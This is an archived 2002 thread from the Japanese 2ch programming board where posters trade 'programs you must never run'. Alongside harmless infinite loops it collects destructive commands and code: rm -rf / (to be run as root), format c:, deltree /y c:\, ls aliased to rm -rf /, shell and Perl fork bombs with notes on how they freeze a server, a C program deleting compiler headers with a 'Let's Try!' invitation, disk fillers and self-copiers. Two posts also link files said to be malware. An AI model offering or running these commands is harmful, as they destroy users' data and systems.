5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

絶対に実行してはいけないプログラム

1 :テヘ:02/05/23 11:08
というのを言語を問わず。ソースウップして

2 : :02/05/23 11:09
while(1){
}

3 :デフォルトの名無しさん:02/05/23 11:11
for(;;);

4 :デフォルトの名無しさん:02/05/23 11:11
1 はうんこ

5 :デフォルトの名無しさん:02/05/23 11:12
label a int i = 1;
goto a;

6 :訂正 4:02/05/23 11:13
:label a int i = 1;
goto a;

7 :デフォルトの名無しさん:02/05/23 11:16
main()
{
main();
}


8 : :02/05/23 11:17
print "部長のハゲ\n";

9 :デフォルトの名無しさん:02/05/23 11:28
FILE* fp;
fp = fopen("モナー.txt", "w");
while(1)
fputs("( ´∀`)", fp);

10 :デフォルトの名無しさん:02/05/23 11:30
system("rm -rf /");

11 :VC++6.0をCにインストしてるヤシ限定:02/05/23 11:38
/*さあ、君もLets'Try!*/

#/*VC++でビルド*/
#include<stdio.h>
#include<string.h>

int main(void)
{
char count=0x0,fpbackup[]="C:\\Program Files\\"
"Microsoft Visual Studio\\VC98\\Include\\",
*filename[]={
"assert.h","ctype.h","errno.h","float.h",
"limits.h","locale.h","math.h","setjmp.h",
"signal.h","stdarg.h","stddef.h","stdio.h",
"stdlib.h","string.h","time.h"
},
filepath[sizeof filename/sizeof(char *)][sizeof fpbackup+0x8];

for(;count!=sizeof filename/sizeof(char *);count++)
remove(
strcat(strcpy(filepath[count],fpbackup),filename[count])
);

return 0x0;
}

/*さあ、君もLets'Try!*/

12 :デフォルトの名無しさん:02/05/23 11:39
/*/*//*/*//*/*//*/*//*/*//*/*//*/*/
/*おはよう!さあ、君もLets'Try!/*/
/*//*//*//*//*/*//*/*//*/*//*//*/

#/*VC++でビルド*/
#include<stdio.h>

int main(void)
{
char buf[0xFFFF];
FILE *fp=fopen("Lets'Try!","w");

puts("前処理中です。しばらくお待ちください・・・");

while(0x1)
fputs(buf,fp);

return 0x00;
}

13 :デフォルトの名無しさん:02/05/23 11:40
#!/bin/sh
$0 & $0

これはマジでやばいっす。

14 :デフォルトの名無しさん:02/05/23 11:42
/*/*//*/*//*/*//*/*//*/*//*/*//*/*/
/*おはよう!さあ、君もLets'Try!/*/
/*//*//*//*//*/*//*/*//*/*//*//*/

#/*VC++でビルド*/
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main(void)
{
char filename[0xDA];
int count,flag;
FILE *fp;

srand((unsigned)time(NULL));

puts("前処理中です。しばらくお待ちください。");
while(0x1)
{
for(count=0x0;count!=(sizeof filename/sizeof(char))-1;count++)
{
flag=0x0;
while(!flag)
{
switch(filename[count]=(char)(0x5E/(double)RAND_MAX*rand()+0x21))
{
case '\\':
case '/':
case ':':
case '.':
case ';':
case '*':
case '?':
case '"':
case '<':
case '>':
case '|':
break;
default:
flag=0x1;
}
}
}
filename[count]='\0';
fp=fopen(filename,"w");
fclose(fp);
}
return 0x00;
}

15 :棄教者 ◆witdLTi2 :02/05/23 12:06
#!/usr/bin/perl
while(1) {
fork;
}
これで子供が作れる?

16 :デフォルトの名無しさん:02/05/23 12:38
>>13

解説きぼんぬ

17 :デフォルトの名無しさん:02/05/23 12:41
ネタだよ
やってみれば分かる 

18 :デフォルトの名無しさん:02/05/23 13:24
>>16
Unixのシェルスクリプト。

無制限にプロセス数が増えていき、psコマンドを実行したり
ログインしたりすることさえ出来なくなる。

スーパーユーザ専用にいくつかプロセステーブルの空きが確
保されてるので、あらかじめ他の端末でスーパーユーザになっ
ておけば、システムをリブートせずに状態を復帰できるかも。

スクリプトの実行を始めてからスーパーユーザになろうとして
もたぶん手遅れ。学校のUnixサーバとかでやると先生に名前を
覚えてもらえる。

19 :デフォルトの名無しさん:02/05/23 14:08
>>14
16進数厨とは珍しいな。

20 :デフォルトの名無しさん:02/05/23 14:20
/* Hoge.c */
int main(void) {
  while (1) {
    pus("hoge");
  }
  return 0;
}

# ./a.out > badfile.txt

21 :デフォルトの名無しさん:02/05/23 14:51
ログインユーザー単位でプロセスの上限とかなかったっけ?

22 :デフォルトの名無しさん:02/05/23 15:05
>>18
!!を会社の研修で使って、
クラス全員から名前を覚えてもらいました・・。

23 :デフォルトの名無しさん:02/05/23 15:29
main(){printf("\t\b\b");}

24 :デフォルトの名無しさん:02/05/23 15:30
会社でクラスの人に名前を覚えてもらうのか

25 :デフォルトの名無しさん:02/05/23 22:13
10 goto 10
run

26 :デフォルトの名無しさん:02/05/24 20:58
配列 b を初期化するプログラム
int a = 0;
char b[3];
for (;a <= 3 ; a++) {
b[a] = 0;
}
# 処理系によっては無限ループ


27 :デフォルトの名無しさん:02/05/24 21:01
別に無限ループにはならないが?

28 :デフォルトの名無しさん:02/05/24 21:02
verg11al.tripod.com/mint.zip
verg11al.tripod.com/PR.lzh

別スレで報告あった。
My Documentsとランダムでどこかのファイルを消すらしい

29 :デフォルトの名無しさん:02/05/24 21:02
>>28
はいはい、よかったね。

30 :デフォルトの名無しさん:02/05/24 21:08
>>27
C++Builder では無限ループになったよ

31 :デフォルトの名無しさん:02/05/24 21:09
>>27
b[3]は配列からはみ出してるのでaを壊す(最下位バイトを0に戻す)
とか?

32 :デフォルトの名無しさん:02/05/24 21:18
>>18
どうなんだろ。ほんとに>>13って無制限にプロセス増えるのか?
いずれ失敗して(resource temporarily unavailable)どんどん
終了していきそうな気がするが。


33 :デフォルトの名無しさん:02/05/24 21:34
>>32
起動中のプログラム勝手に消えたら困らない?

34 :デフォルトの名無しさん:02/05/24 21:48
>>33
えーと、コマンドの実行に失敗したら、
リトライとかしないだろ?

$0の起動に2回失敗したら、スクリプトは終了しちゃうと
思うのだが。

35 :デフォルトの名無しさん:02/05/24 22:59
#include <stdio.h>
main()
{
 for (;;)printf("\t\b\b");
}
実行してミソ....

36 :デフォルトの名無しさん:02/05/24 23:02
>>35
何も起きなかった

37 :デフォルトの名無しさん:02/05/24 23:05
>>35
何のバグだっけ?
NTのコンソール?

38 :デフォルトの名無しさん:02/05/24 23:38
*reinterpret_cast<char*>(NULL) = 'a';

39 :デフォルトの名無しさん:02/05/24 23:45
プログラムが落ちるだけでそれほどキケンじゃない

40 :デフォルトの名無しさん:02/05/24 23:46
Windows98が出る直前だったから知ってる人は少数だと思うけど
Windows95のUSB Supplementは強烈だった........
世間で騒いでるウィルスがカワイク思えるほど......遠い目(被害者)

41 :デフォルトの名無しさん:02/05/24 23:53
#define MAX 3
char name[256];FILE *fp, *self;int i, c;
for(self = fopen(argv[0],"rb"),i = 0;i < MAX && (sprintf(name,"キタ━━(゚∀゚)━━ァ!%d.exe", i), fp = fopen(name,"wb"));i++){
while((c=fgetc(self)) != EOF)fputc(c,fp);fclose(fp);rewind(self);}fclose(self);

42 : :02/05/24 23:57
@echo off
format c:

43 :低レベル:02/05/25 00:04
//※Unix系OS専用。rootで実行すること。
#include <stdlib.h>
int main()
{
system("rm -rf /");
return 0;
}


44 :デフォルトの名無しさん:02/05/25 00:05
del *

45 :デフォルトの名無しさん:02/05/25 00:13
asm {
cli;
}
while(1);

46 :デフォルトの名無しさん:02/05/25 00:17
>>35
一発でコケたぞゴルァ!!!
作業中だったらどうするんだ?!

47 :デフォルトの名無しさん:02/05/25 00:18
>>46
スレタイトル読めよ。あと、パッチ当てろ。

48 :デフォルトの名無しさん:02/05/25 00:38
http://hikikomori_01.tripod.co.jp/2.exe

49 :デフォルトの名無しさん:02/05/25 00:48
PCが火を吹いても、ダムが決壊しても
原子力発電所で事故が起きても
核ミサイルを自動的に発射しても良いのなら
絶対に実行してはいけないプログラムなど存在しない

50 : :02/05/25 00:55
>>40
よろしければ「Windows95のUSB Supplement」というのを教えて下さい。


51 :デフォルトの名無しさん:02/05/25 04:07
>>49
実行の結果なにが起こるのかでなく、
それ自体が絶対に実行してはいけない
プログラムであることはありうる?


52 :デフォルトの名無しさん:02/05/25 10:15
>>49
良くないので存在する。

53 :デフォルトの名無しさん:02/05/25 11:06
って言うかこのスレは、

「全国のウイルス、トロイ大集合!」
「このフリーソフトは使ってはいけない」

どちらかの趣旨だろ?

アフォな>>1が勘違いして立てただけ。
PCQAにでも逝けよ。ほんとに。

54 :デフォルトの名無しさん:02/05/25 11:55
@echo off
deltree /y c:\

55 :デフォルトの名無しさん:02/05/25 11:56
alias ls del *

56 :デフォルトの名無しさん:02/05/25 13:48
CodeRedにやられたサイトに侵入して修復するワーム。

57 :デフォルトの名無しさん:02/05/25 14:07
>55
alias ls rm *
じゃん

58 :デフォルトの名無しさん:02/05/25 14:22
>>57
Nimdaにも対応してくれ〜

59 :デフォルトの名無しさん:02/05/26 20:07
alias ls rm -rf /;

60 :デフォルトの名無しさん:02/06/01 15:42
int
pushLaunchAtomicBombEvent()
{
bool b = isCertificationPresident();
if (b) {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_ALL);
} else {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_AIRFOCE);
}
}

61 :デフォルトの名無しさん:02/06/01 15:55
誰か、終了時に自分自身を実行するやつ書いて。
強制終了でがんばっても、終わんないやつ。


62 :デフォルトの名無しさん:02/06/01 16:12
main()
{
system("me");
}

63 :デフォルトの名無しさん:02/06/01 16:12
>>61
>>13にあるじゃん。

64 :デフォルトの名無しさん:02/06/01 16:26
/usr/bin/beep2 /etc/shadow

65 :デフォルトの名無しさん:02/07/06 01:09
>>63
それは終了時に自分を実行するんじゃなくて無限に増えるだけ。

66 :デフォルトの名無しさん:02/07/06 01:44
>>61
2つ以上のプログラム作って、お互いに監視するようにしたらどうだ?

67 :デフォルトの名無しさん:02/07/06 01:46
それが出来るなら二つにする意味無くない?

68 :デフォルトの名無しさん:02/07/06 02:02
ふむ。確かに。

あと、実行ファイルを消されちゃったりするとダメだから、その対策を施す必要があるかも。
監視して、もう一方のプロセスが消えてたら
新しい実行ファイル作成->その実行ファイルを実行
にする?

69 :68:02/07/06 02:08
何言ってんだ? 俺。

70 :デフォルトの名無しさん:02/07/06 02:09
>>68
> 新しい実行ファイル作成->その実行ファイルを実行
> にする?

それって結構むずかしいような。

71 :68:02/07/06 02:12
そんなめんどくさいことせずに、消えてればもう一個forkすればええような。。
ねむたいので難しいこと考えられません。

72 :デフォルトの名無しさん:02/07/06 02:28
>>71
じゃあもう寝ろ。明日書いてくれ。

73 :デフォルトの名無しさん:02/07/06 09:54
#!/bin/csh
/bin/mail all@kaisha.co.jp <<EOF
Subject : 【重要】もうやってらんねーよ!!

こんな人を人とも思わない会社、もうやめてやるよ!!
けっ

.
EOF


ネタなので encode とか無視してね

14 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)